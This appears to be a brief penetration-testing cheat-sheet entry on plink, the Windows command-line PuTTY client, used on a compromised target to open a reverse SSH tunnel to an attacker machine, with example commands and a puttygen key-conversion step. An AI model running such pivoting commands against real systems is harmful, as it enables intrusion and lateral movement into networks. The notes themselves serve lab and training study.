plink
windows command line version of putty ssh
usually used to transport the binary to the target then using it to create a reverse connection
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
if we want to forward a connection back to our attacking machine we can
do:cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N
ssh-key
gen wont work properly with these, they will need to be converted using puttygen which can be installed on kali by putty-toolsthe conversion can be done with: puttygen KEYFILE -o Output_key.ppk
Last updated